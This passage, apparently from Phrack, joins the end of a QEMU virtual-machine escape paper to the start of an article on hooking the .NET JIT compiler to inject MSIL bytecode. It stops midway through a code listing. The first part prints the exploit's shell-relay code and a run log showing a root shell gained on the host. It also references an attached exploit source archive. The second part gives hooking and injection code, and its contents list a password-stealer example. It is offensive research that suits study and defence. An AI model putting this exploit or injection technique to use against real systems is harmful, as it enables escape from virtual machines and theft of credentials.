The shellcode creates a child process that is responsible to start a shell ("/bin/sh"). The parent process starts threads that make use of shared memory areas to pass shell commands from the guest to the attacked host and then write back the results of these commands to the guest machine. The communication between the parent and the child process is carried by pipes.

As shown below, a shared memory area consists of a ring buffer that is accessed by sm_read() and sm_write() primitives:

struct shared_ring_buf {

volatile bool lock;

bool empty;

uint8_t head;

uint8_t tail;

uint8_t buf[SHARED_BUFFER_SIZE];

};

static inline

__attribute__((always_inline))

ssize_t sm_read(struct GOT *got, struct shared_ring_buf *ring, char *out, ssize_t len)

{

ssize_t read = 0, available = 0;

do {

/* spin lock */

while (__atomic_test_and_set(&ring‑>lock, __ATOMIC_RELAXED));

if (ring‑>head > ring‑>tail) { // loop on ring

available = SHARED_BUFFER_SIZE ‑ ring‑>head;

} else {

available = ring‑>tail ‑ ring‑>head;

if (available == 0 && !ring‑>empty) {

available = SHARED_BUFFER_SIZE ‑ ring‑>head;

}

}

available = MIN(len ‑ read, available);

imemcpy(out, ring‑>buf + ring‑>head, available);

read += available;

out += available;

ring‑>head += available;

if (ring‑>head == SHARED_BUFFER_SIZE)

ring‑>head = 0;

if (available != 0 && ring‑>head == ring‑>tail)

ring‑>empty = true;

__atomic_clear(&ring‑>lock, __ATOMIC_RELAXED);

} while (available != 0 || read == 0);

return read;

}

static inline

__attribute__((always_inline))

ssize_t sm_write(struct GOT *got, struct shared_ring_buf *ring, char *in, ssize_t len)

{

ssize_t written = 0, available = 0;

do {

/* spin lock */

while (__atomic_test_and_set(&ring‑>lock, __ATOMIC_RELAXED));

if (ring‑>tail > ring‑>head) { // loop on ring

available = SHARED_BUFFER_SIZE ‑ ring‑>tail;

} else {

available = ring‑>head ‑ ring‑>tail;

if (available == 0 && ring‑>empty) {

available = SHARED_BUFFER_SIZE ‑ ring‑>tail;

}

}

available = MIN(len ‑ written, available);

imemcpy(ring‑>buf + ring‑>tail, in, available);

written += available;

in += available;

ring‑>tail += available;

if (ring‑>tail == SHARED_BUFFER_SIZE)

ring‑>tail = 0;

if (available != 0)

ring‑>empty = false;

__atomic_clear(&ring‑>lock, __ATOMIC_RELAXED);

} while (written != len);

return written;

}

These primitives are used by the following threads function. The first one reads data from a shared memory area and writes it to a file descriptor. The second one reads data from a file descriptor and writes it to a shared memory area.

void *pipe_r2fd(void *_brwpipe)

{

struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;

char buf[SHARED_BUFFER_SIZE];

ssize_t len;

while (true) {

len = sm_read(brwpipe‑>got, brwpipe‑>ring, buf, sizeof(buf)); if (len > 0)

brwpipe‑>got‑>write(brwpipe‑>fd, buf, len);

}

return NULL;

} SHELLCODE(pipe_r2fd)

void *pipe_fd2r(void *_brwpipe)

{

struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;

char buf[SHARED_BUFFER_SIZE];

ssize_t len;

while (true) {

len = brwpipe‑>got‑>read(brwpipe‑>fd, buf, sizeof(buf));

if (len < 0) {

return NULL;

} else if (len > 0) {

len = sm_write(brwpipe‑>got, brwpipe‑>ring, buf, len);

}

}

return NULL;

}

Note that the code of these functions are shared between the host and the guest. These threads are also instantiated in the guest machine to read user input commands and copy them on the dedicated shared memory area (in memory), and to write back the output of these commands available in the corresponding shared memory areas (out and err shared memories):

void session(struct shared_io *shared_io)

{

size_t len;

pthread_t t_in, t_out, t_err;

struct GOT got;

struct brwpipe *in, *out, *err;

got.read = &read;

got.write = &write;

warnx("[!] enjoy your shell");

fputs(COLOR_SHELL, stderr);

in = malloc(sizeof(struct brwpipe));

out = malloc(sizeof(struct brwpipe));

err = malloc(sizeof(struct brwpipe));

in‑>got = &got;

out‑>got = &got;

err‑>got = &got;

in‑>fd = STDIN_FILENO;

out‑>fd = STDOUT_FILENO;

err‑>fd = STDERR_FILENO;

in‑>ring = &shared_io‑>in;

out‑>ring = &shared_io‑>out;

err‑>ring = &shared_io‑>err;

pthread_create(&t_in, NULL, pipe_fd2r, in);

pthread_create(&t_out, NULL, pipe_r2fd, out);

pthread_create(&t_err, NULL, pipe_r2fd, err);

pthread_join(t_in, NULL);

pthread_join(t_out, NULL);

pthread_join(t_err, NULL);

}

The figure presented in the previous section illustrates the shared memories and the processes/threads started in the guest and the host machines.

The exploit targets a vulnerable version of QEMU built using version 4.9.2 of Gcc. In order to adapt the exploit to a specific QEMU build, we provide a shell script (build‑exploit.sh) that will output a C header with the required offsets:

$ ./build‑exploit <path‑to‑qemu‑binary> > qemu.h

Running the full exploit (vm‑escape.c) will result in the following output:

$ ./vm‑escape

$ exploit: [+] found 190 potential ObjectProperty structs in memory $ exploit: [+] .text mapped at 0x7fb6c55c3620

$ exploit: [+] mprotect mapped at 0x7fb6c55c0f10

$ exploit: [+] qemu_set_irq mapped at 0x7fb6c5795347

$ exploit: [+] VM physical memory mapped at 0x7fb630000000 $ exploit: [+] payload at 0x7fb6a8913000

$ exploit: [+] patching packet ...

$ exploit: [+] running first attack stage

$ exploit: [+] running shellcode at 0x7fb6a89132d0

$ exploit: [!] enjoy your shell

$ shell > id

$ uid=0(root) gid=0(root) ...

‑‑‑‑[ 5.4 ‑ Limitations

Please note that the current exploit is still somehow unreliable. In our testing environment (Debian 7 running a 3.16 kernel on x_86_64 arch), we have observed a failure rate of approximately 1 in 10 runnings. In most unsuccessful attempts, the exploit fails to reconstruct the memory layout of QEMU due to unusable leaked data.

The exploit does not work on linux kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. In this case QEMU binary (compiled by default with ‑fPIE) is mapped into a separate address space as shown by the following listing:

55e5e3fdd000‑55e5e4594000 r‑xp 00000000 fe:01 6940407 [qemu‑system‑x86_64] 55e5e4794000‑55e5e4862000 r‑‑p 005b7000 fe:01 6940407 ... 55e5e4862000‑55e5e48e3000 rw‑p 00685000 fe:01 6940407 ... 55e5e48e3000‑55e5e4d71000 rw‑p 00000000 00:00 0 55e5e6156000‑55e5e7931000 rw‑p 00000000 00:00 0 [heap]

7fb80b4f5000‑7fb80c000000 rw‑p 00000000 00:00 0 7fb80c000000‑7fb88c000000 rw‑p 00000000 00:00 0 [2 GB of RAM] 7fb88c000000‑7fb88c915000 rw‑p 00000000 00:00 0 ...

7fb89b6a0000‑7fb89b6cb000 r‑xp 00000000 fe:01 794385 [first shared lib] 7fb89b6cb000‑7fb89b8cb000 ‑‑‑p 0002b000 fe:01 794385 ... 7fb89b8cb000‑7fb89b8cc000 r‑‑p 0002b000 fe:01 794385 ... 7fb89b8cc000‑7fb89b8cd000 rw‑p 0002c000 fe:01 794385 ... ...

7ffd8f8f8000‑7ffd8f91a000 rw‑p 00000000 00:00 0 [stack] 7ffd8f970000‑7ffd8f972000 r‑‑p 00000000 00:00 0 [vvar] 7ffd8f972000‑7ffd8f974000 r‑xp 00000000 00:00 0 [vdso] ffffffffff600000‑ffffffffff601000 r‑xp 00000000 00:00 0 [vsyscall]

As a consequence, our 4‑byte overflow is not sufficient to dereference the irq pointer (originally located in the heap somewhere at 0x55xxxxxxxxxx) so that it points to our fake IRQState structure (injected somewhere at 0x7fxxxxxxxxxx).

‑‑[ 6 ‑ Conclusions

In this paper, we have presented two exploits on QEMU's network device emulators. The combination of these exploits make it possible to break out from a VM and execute code on the host.

During this work, we have probably crashed our testing VM more that one thousand times. It was tedious to debug unsuccessful exploit attempts, especially, with a complex shellcode that spawns several threads an processes. So, we hope, that we have provided sufficient technical details and generic techniques that could be reused for further exploitation on QEMU.

‑‑[ 7 ‑ Greets

We would like to thank Pierre‑Sylvain Desse for his insightful comments. Greets to coldshell, and Kevin Schouteeten for helping us to test on various environments.

Thanks also to Nelson Elhage for his seminal work on VM‑escape.

And a big thank to the reviewers of the Phrack Staff for challenging us to improve the paper and the code.

‑‑[ 8 ‑ References

[1] http://venom.crowdstrike.com

[2] media.blackhat.com/bh‑us‑11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf [3] https://github.com/nelhage/virtunoid/blob/master/virtunoid.c

[4] http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf

[5] https://www.kernel.org/doc/Documentation/vm/pagemap.txt

[6] https://blog.affien.com/archives/2005/07/15/reversing‑crc/

‑‑[ 9 ‑ Source Code

begin 644 vm_escape.tar.gz M'XL(`"[OTU@``^Q:Z7,:29;W5_%7Y*AC.L"‑I<RJK*RJMML3"$H6801:0#ZV end

.NET Instrumentation via MSIL bytecode injection

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x06 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ .NET Instrumentation via MSIL bytecode injection ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑=[ by Antonio "s4tan" Parata <aparata@gmail.com>]=‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Introduction

2 ‑ CLR environment

2.1 ‑ Basic concepts

2.1.1 ‑ Metadata tables

2.1.2 ‑ Metadata token

2.1.3 ‑ MSIL bytecode

2.2 ‑ Execution environment

3 ‑ JIT compiler

3.1 ‑ The compileMethod

3.2 ‑ Hooking the compileMethod

4 ‑ .NET Instrumentation

4.1 ‑ MSIL injection strategy

4.2 ‑ Resolving the method handle

4.3 ‑ Implementing a trampoline via the calli instruction 4.4 ‑ Crafting a dynamic method

4.5 ‑ Invoking the user defined code

4.6 ‑ Fixing the SEH table

5 ‑ Real world examples

5.1 ‑ Web application password stealer

5.2 ‑ Malware inspection

6 ‑ Conclusion

7 ‑ References

8 ‑ Source Code

‑‑[ 1 ‑ Introduction

In this article we will explore the internals of the .NET framework with the purpose of providing an innovative method to instrument .NET programs at runtime.

Actually, there are several libraries that allow to instrument .NET programs; most of them install a hook in the code generated after compiling a given method, or by modifying the Assembly and saving back the result of the modification.

Microsoft also provides a profile API in order to instrument the execution of a given program. However the API must be activated before executing the program by setting specific environment variables.

Our goal is to instrument the program at runtime by leaving the Assembly binary untouched; all this by using a high level .NET language. As we will see, this is done by injecting additional MSIL code just before the target method is compiled.

‑‑[ 2 ‑ CLR environment

Before describing in depth how to inject additional MSIL code in a method, it is necessary to provide some basic concepts as on how the .NET framework works and which are its basic components.

We will only describe the concepts that are relevant to our purpose.

‑‑‑[ 2.1 ‑ Basic concepts

A .NET binary is typically called Assembly (even if it doesn't contain any assembly code). It is a self‑describing structure, meaning that inside an Assembly you will find all the necessary information to execute it (for more information on this subject see [01]).

As we will shortly see, all this information can be accessed by using reflection. Reflection allows us to have a full picture of which types and methods are defined inside the Assembly. We can also have access to the names and types of the parameters passed to a specific method. The only missing information are the names of the local variables, but as we will see this is not a problem at all.

‑‑‑‑[ 2.1.1 ‑ Metadata tables

All the above mentioned information is stored inside tables called Metadata tables.

The following list taken from [02] shows the index and names of all the existing tables:

00 ‑ Module 01 ‑ TypeRef 02 ‑ TypeDef

04 ‑ Field 06 ‑ MethodDef 08 ‑ Param

09 ‑ InterfaceImpl 10 ‑ MemberRef 11 ‑ Constant

12 ‑ CustomAttribute 13 ‑ FieldMarshal 14 ‑ DeclSecurity 15 ‑ ClassLayout 16 ‑ FieldLayout 17 ‑ StandAloneSig 18 ‑ EventMap 20 ‑ Event 21 ‑ PropertyMap 23 ‑ Property 24 ‑ MethodSemantics 25 ‑ MethodImpl 26 ‑ ModuleRef 27 ‑ TypeSpec 28 ‑ ImplMap

29 ‑ FieldRVA 32 ‑ Assembly 33 ‑ AssemblyProcessor 34 ‑ AssemblyOS 35 ‑ AssemblyRef 36 ‑ AssemblyRefProcessor 37 ‑ AssemblyRefOS 38 ‑ File 39 ‑ ExportedType 40 ‑ ManifestResource 41 ‑ NestedClass 42 ‑ GenericParam 44 ‑ GenericParamConstraint

Each table is composed of a variable number of rows. The size of a row depends on the kind of table and can contain a reference to other Metadata tables.

Those tables are referenced by the Metadata token, a notion that is described in the next paragraph.

‑‑‑‑[ 2.1.2 ‑ Metadata token

The Metadata token (or token for short) is a fundamental concept in the CLR framework. A token allows you to reference a given table at a given index. It is a 4‑byte value, composed of two parts [08]: a table index and the RID.

The table index is the topmost byte wich points to a table. A RID is a 3‑byte record identifier pointing in the table, which starts at offset one.

As an example, let's consider the following Metadata token:

(06)00000F

0x06 is the number of the referenced table, which in this case is MethodDef. The last three bytes are the RID, that in this case has a value of 0x0F.

‑‑‑‑[ 2.1.3 ‑ MSIL bytecode

When we write a program in a .NET high level language, the compiler will translate this code into an intermediate representation called MSIL or as defined in the ECMA‑335 [03] CIL, which stands for Common Intermediate Language.

By installing Visual Studio you will also install a very handy utility called ILDasm, that allows you to disassemble an Assembly by displaying the MSIL code and other useful information.

As an example let try to compile the following C# source code:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑public class TestClass

{

private String _message;

public TestClass(String txt)

{

this._message = txt;

}

private String FormatMessage()

{

return "Hello " + this._message;

}

public void SayHello()

{

var message = this.FormatMessage(); Console.WriteLine(message);

}

}

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

The result of the compilation is an Assembly with three methods: .ctor : void(string), FormatMessage : string() and SayHello : void().

Let's try to display the MSIL code of the SayHello method:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑.method public hidebysig instance void SayHello() cil managed // SIG: 20 00 01

{

// Method begins at RVA 0x21f8

// Code size 16 (0x10)

.maxstack 1

.locals init ([0] string message)

IL_0000: /* 00 | */ nop

IL_0001: /* 02 | */ ldarg.0

IL_0002: /* 28 | (06)00000F */

call instance string MockLibrary.TestClass::FormatMessage() IL_0007: /* 0A | */ stloc.0

IL_0008: /* 06 | */ ldloc.0

IL_0009: /* 28 | (0A)000014 */

call void [mscorlib]System.Console::WriteLine(string) IL_000e: /* 00 | */ nop

IL_000f: /* 2A | */ ret

} // end of method TestClass::SayHello

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

For each instruction we can see the associated MSIL byte values. It is interesting to see that the code doesn't contain any reference to unmanaged memory but only to metadata tokens.

The two call instructions reference two different tables, due to the FormatMessage method being implemented in the current Assembly and the WriteLine method implemented in an external Assembly.

If we take a look at the list of tables presented in 2.1.1 we can see that the Metadata token (0A)000014 references the table 0x0A which is the MemberRef table, index 0x14 which is WriteLine. Instead the token (06)00000F references the table 0x06 which is the MethodDef table, index 0x0F which is FormatMessage.

‑‑‑[ 2.2 ‑ Execution environment

The CLR execution environment is very strict and forbids any kind of dangerous operation. If we compare it with the unmanaged world where we were able to jump in the middle of an instruction to confuse the disassembler, to create all kinds of opaque instructions or to jump to any valid address, we will discover a sad truth: everything is forbidden.

The CLR is a stack based machine. This means that there is no concept of registers and every parameter is pushed on the stack in order to be passed to other functions. When we exit a method, the stack must be empty or at least contain the value that should be returned.

As already said, everything is based on the definition of the Metadata token. If we try to invoke a call with an invalid token we will receive a fatal exception. This poses a serious problem for our goal, since we cannot call methods that are not referenced by the original Assembly.

‑‑[ 3 ‑ JIT compiler

When a method is executed we have two different scenarios. The first one is when the method is already compiled, in this case the code just jumps to the compiled unmanaged code. The second scenario is when the method isn't yet compiled, in this case the code jumps to a stub that will call the exported method compileMethod, defined in corjit.h [04], in order to compile and then execute the method.

‑‑‑[ 3.1 ‑ The compileMethod

Let's analyze this interesting method a bit more. The signature of compileMethod is the following:

virtual CorJitResult __stdcall compileMethod ( ICorJitInfo *comp, /* IN */

struct CORINFO_METHOD_INFO *info, /* IN */

unsigned /* code:CorJitFlag */ flags, /* IN */

BYTE **nativeEntry, /* OUT */

ULONG *nativeSizeOfCode /* OUT */

) = 0;

The most interesting structure is the CORINFO_METHOD_INFO which is defined in corinfo.h [05] and has the following format:

struct CORINFO_METHOD_INFO

{

CORINFO_METHOD_HANDLE ftn;

CORINFO_MODULE_HANDLE scope;

BYTE * ILCode;

unsigned ILCodeSize;

unsigned maxStack;

unsigned EHcount;

CorInfoOptions options;

CorInfoRegionKind regionKind; CORINFO_SIG_INFO args;

CORINFO_SIG_INFO locals;

};

For our purpose the most important field is the ILCode byte pointer. It points to a buffer which contains the MSIL bytecode. By modifying this buffer we are able to alter the method execution flow.

As a side note, this method is also extensively used by .NET obfuscators. In fact we can read the following comment in the source code:

Note: Obfuscators that are hacking the JIT depend on this method having __stdcall calling convention

An obfuscator typically encrypts the MSIL bytecode of a method, then when the method is bound to be executed they decrypt the bytecode and pass this value as byte pointer instead of the encrypted one. This also explains why if we open it in ILDasm or with a decompiler we receive back an error. How can they know when a method is going to be called? This is pretty easy, the code in charge for the replacement process is placed inside the type constructor. This specific constructor is invoked only once: before a new object of that specific type is created.

‑‑‑[ 3.2 ‑ Hooking the compileMethod

Since the compileMethod is exported by the Clrjit.dll (or from mscorjit.dll for older .NET versions), we can easily install a hook to intercept all the requests for compilation. The following F# pseudo‑code shows how to do this:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑[<DllImport(

"Clrjit.dll",

CallingConvention = CallingConvention.StdCall, PreserveSig = true) >]

extern IntPtr getJit()

[<DllImport("kernel32.dll", SetLastError = true)>]

extern Boolean VirtualProtect(

IntPtr lpAddress,

UInt32 dwSize,

Protection flNewProtect,

UInt32& lpflOldProtect)

let pVTable = getJit()

_pCompileMethod <‑ Marshal.ReadIntPtr(pVTable)

// make memory writable

let mutable oldProtection = uint32 0

if not <| VirtualProtect(

_pCompileMethod,

uint32 IntPtr.Size,

Protection.PAGE_EXECUTE_READWRITE,

&oldProtection)

then

Environment.Exit(‑1)

let protection = Enum.Parse(

typeof<Protection>,

oldProtection.ToString()) :?> Protection

// save original compile method

_realCompileMethod <‑

Some (Marshal.GetDelegateForFunctionPointer( Marshal.ReadIntPtr(_pCompileMethod), typeof<CompileMethodDeclaration>) :?> CompileMethodDeclaration )

RuntimeHelpers.PrepareDelegate(_realCompileMethod.Value) RuntimeHelpers.PrepareDelegate(_hookedCompileMethodDelegate)

// install compileMethod hook

Marshal.WriteIntPtr(

_pCompileMethod, Marshal.GetFunctionPointerForDelegate(_hookedCompileMethodDelegate) )

// repristinate memory protection flags

VirtualProtect(

_pCompileMethod,

uint32 IntPtr.Size,

protection,

&oldProtection

) |> ignore

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

When we modify the MSIL code we must pay attention to the stack size. Our framework needs some stack space in order to work and if the method that is going to be compiled doesn't need any local variables, we will receive an exception at runtime. In order to fix this problem it is enough to modify the maxStack variable of CORINFO_METHOD_INFO structure before writing it back.

‑‑[ 4 ‑ .NET Instrumentation

Now it is time to modify the MSIL buffer of our method of choice and redirect the flow to our code. As we will see this is not a smooth process and we need to take care of numerous aspects.

‑‑‑[ 4.1 ‑ MSIL injection strategy

In order to invoke our code the process that we will follow is composed of the following steps:

1. Install a trampoline at the beginning of the code. This trampoline will call a dynamically defined method.

2. Define a dynamic method that will have a specific method signature.

3. Construct an array of objects that will contain the parameters passed to the method.

4. Invoke a dispatcher function which will load our Assembly and will finally call our code by passing a handle to the original method and an array of objects representing the method parameters.

In the end the structure that we are going to create will follow the path defined in the following diagram:

| ... |

| ... | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Trampoline |‑‑‑‑> | |

| Original MSIL | | Dynamic |

| ... | | Method |‑‑‑‑‑‑‑‑‑+

| ... | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+v

Framework |

Dispatcher |

+‑

|

v

+‑‑‑‑‑‑‑‑

|

| User |

| Code Monitor |

|

+‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.2 ‑ Resolving the method handle

As we will see in the next paragraph, it is necessary to resolve the handle of the method that will be compiled in order to obtain the needed information via reflection. I have found a method to resolve it, it is not very elegant but it works :P.

The following F# pseudo‑code will show you how to resolve a method handle given the CorMethodInfo structure:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑let getMethodInfoFromModule(

methodInfo: CorMethodInfo,

assemblyModule: Module) =

let mutable info: FilteredMethod option = None

try

// dirty trick, is there a

// better way to know the module of the compiled method?

let mPtr = assemblyModule.ModuleHandle.GetType() .GetField("m_ptr", BindingFlags.NonPublic ||| BindingFlags.Instance) let mPtrValue = mPtr.GetValue(assemblyModule.ModuleHandle) let mpData =

mPtrValue.GetType() .GetField("m_pData", BindingFlags.NonPublic ||| BindingFlags.Instance)

if mpData <> null then

let mpDataValue = mpData.GetValue(mPtrValue) :?> IntPtr if mpDataValue = methodInfo.ModuleHandle then // module found, get method name

let tokenNum = Marshal.ReadInt16(nativeint(methodInfo.MethodHandle)) let token = (0x06000000 + int32 tokenNum) let methodBase = assemblyModule.ResolveMethod(token)

if methodBase.DeclaringType <> null && isMonitoredMethod(methodBase) then let mutable numOfParameters = methodBase.GetParameters() |> Seq.length if not methodBase.IsStatic then // take into account the this parameter

numOfParameters <‑ numOfParameters + 1

// compose the result info

info <‑ Some { TokenNum = tokenNum NumOfArgumentsToPushInTheStack = numOfParameters Method = methodBase IsConstructor = methodBase :? ConstructorInfo Filter = this

}

with _ ‑> ()

info

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

This method must be invoked for each module of all loaded Assemblies.

Now that we have a MethodBase object, we can use it to extract the needed information, like the number of accepted parameters and their types.

‑‑‑[ 4.3 ‑ Implementing a trampoline via the calli instruction

Our first obstacle is to create a MSIL bytecode that can invoke an arbitrary function. Among all the available OpCodes, the one of interest for us is the calli instruction [06] (beware of its usage, as it makes our code unverifiable).

From the MSDN page we can read that:

"The method entry pointer is assumed to be a specific pointer to native code (of the target machine) that can be legitimately called with the arguments described by the calling convention (a metadata token for a stand‑alone signature). Such a pointer can be created using the Ldftn or Ldvirtftn instructions, or passed in from native code."

Nice, we can specify an arbitrary pointer to native code. The only difficulty is that we cannot use the Ldftn or Ldvirtftn since they need a metadata token, and we cannot specify this value. Not too bad, since from the Ldftn documentation we can read that [07]:

"Pushes an unmanaged pointer (type native int) to the native code implementing a specific method onto the evaluation stack."

So, if we have an unmanaged pointer we can simulate the Ldftn with a simple Ldc_I4 instruction (supposing that we are operating on a 32 bit environment) [09].

Unfortunately now we have another, even bigger, problem. The calli instruction needs a callSiteDescr. From [08] we can read that:

"<token> ‑ referred to callSiteDescr ‑ must be a valid StandAloneSig".

The StandAloneSig is the table number 17. As I have already said we cannot specify this Metadata token (since it probably doesn't exist in the table).

I have played a bit with the calli instruction in order to see if it accepts also other kinds of Metadata tokens. In the end I discovered that it also accepts a token from one of the following tables: TypeSpec, Field and MethodDef.

For our purpose, the MethodDef table is the most interesting one, since we can fake a valid MethodDef token by creating a DynamicMethod (more on this later). We can now close the circle by using the calli instruction and modifying the metadata token in order to specify a MethodDef.

We will use the MethodBase object that we obtained in the previous step in order to know how many parameters the method accepts and push them in the stack before invoking calli.

The following F# pseudo‑code shows how to build the calli instruction:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑// load all arguments on the stack

for i=0 to filteredMethod.NumOfArgumentsToPushInTheStack‑1 do ilGenerator.Emit(OpCodes.Ldarg, i)

// emit calli instruction with a pointer to the dynamic method,

// the token used by the calli is not important as I'll modify it soon

ilGenerator.Emit(OpCodes.Ldc_I4, functionAddress) ilGenerator.EmitCalli(

OpCodes.Calli,

CallingConvention.StdCall, dispatcherMethod.ReturnType,

dispatcherArgs)

// this index allow to modify the right byte

let patchOffset = ilGenerator.ILOffset ‑ 4 ilGenerator.Emit(OpCodes.Nop)

// check if I have to pop the return value

match filteredMethod.Method with

| :? MethodInfo as mi ‑>

if mi.ReturnType <> typeof<System.Void> then ilGenerator.Emit(OpCodes.Pop)

| _ ‑> ()

// end method

ilGenerator.Emit(OpCodes.Ret)

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

The functionAddress variable contains the native pointer of our dynamic method. One last step is to patch the calli Metadata token with a MethodDef token whose value we know to be correct. As value we will use the token of the method that it is being compiled.

The following F# pseudo‑code show how to modify the MSIL bytecode at the right offset:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑// craft MethodDef metadata token index

let b1 = (filteredMethod.TokenNum &&& int16 0xFF00) >>> 8

let b2 = filteredMethod.TokenNum &&& int16 0xFF

// calli instruction accept 0x11 as table index (StandAloneSig),

// but seems that also other tables are allowed.

// In particular the following ones seem to be accepted as

// valid: TypeSpec, Field and Method (most important)

trampolineMsil.[patchOffset] <‑ byte b2 trampolineMsil.[patchOffset+1] <‑ byte b1 trampolineMsil.[patchOffset + 3] <‑ 6uy // 6(0x6): MethodDef Table

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

Since this step is a bit complex let's try to summarize our actions:

1. We use the calli instruction to invoke an arbitrary method by specifying a native address pointer.

2. We modify the calli metadata token by specifying a MethodDef token and not a StandAloneSig token.

3. We pass as Metadata token value the token of the method currently compiled. This kind of token describes the method that must be called.

Our next step is to be sure that the method invoked by calli satisfies the information contained in the referenced Metadata token.

‑‑‑[ 4.4 ‑ Crafting a dynamic method

We now have to create the dynamic method that satisfies the information provided by the token passed to the calli instruction. From [10] we can read that:

"The method descriptor is a metadata token that indicates the method to call and the number, type, and order of the arguments that have been placed on the stack to be passed to that method as well as the calling convention to be used."

So, in order to create a method that satisfies the signature of the method referenced by the token we will use a very powerful .NET capability, which allows us to define dynamic method. This step allows the following:

1. Create a method that has the same signature of the method that will be compiled. This will guarantee that the information carried by the metadata token is legit.

2. We are now in a situation where we can specify a valid metadata token, since the new dynamic type is created in the current execution environment.

This dynamic method will call another method (a dispatcher) that accepts two arguments: a string representing the location of the Assembly to load (more on this later) and an array of objects which contains the arguments passed to the method.

In creating this method you have to pay attention when creating the objects array, since in .NET not everything is an object.

The following F# pseudo‑code creates the dynamic method with the right signature:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑let argumentTypes = [|

if not filteredMethod.Method.IsStatic then

yield typeof<Object>

yield!

filteredMethod.Method.GetParameters()

|> Array.map(fun p ‑> p.ParameterType)

|]

let dynamicType =

_dynamicModule.DefineType( filteredMethod.Method.Name + "_Type" + string(!_index)) let dynamicMethod =

dynamicType.DefineMethod(

dynamicMethodName,

MethodAttributes.Static ||| MethodAttributes.HideBySig ||| MethodAttributes.Public, CallingConventions.Standard, typeof<System.Void>,

argumentTypes

)

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

We can now proceed with the creation of the method body. We need to pay attention to two facts: ValueType parameters must be boxed, and Enum parameters must be converted to another form (after some trials and errors I found that Int32 is a good compromise).

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑// push the location of the Assembly to load containing the monitors

let assemblyLocation =

if filteredMethod.Filter.Invoker <> null

then filteredMethod.Filter.Invoker.Assembly.Location else String.Empty

ilGenerator.Emit(OpCodes.Ldstr, assemblyLocation)

// get the parameter types

let parameters =

filteredMethod.Method.GetParameters()

|> Seq.map(fun pi ‑> pi.ParameterType)

|> Seq.toList

// create argv array

ilGenerator.Emit(OpCodes.Ldc_I4, filteredMethod.NumOfArgumentsToPushInTheStack) ilGenerator.Emit(OpCodes.Newarr, typeof<Object>)

// fill the argv array

for i=0 to filteredMethod.NumOfArgumentsToPushInTheStack‑1 do ilGenerator.Emit(OpCodes.Dup) ilGenerator.Emit(OpCodes.Ldc_I4, i) ilGenerator.Emit(OpCodes.Ldarg, i)

// check if I have to box the value

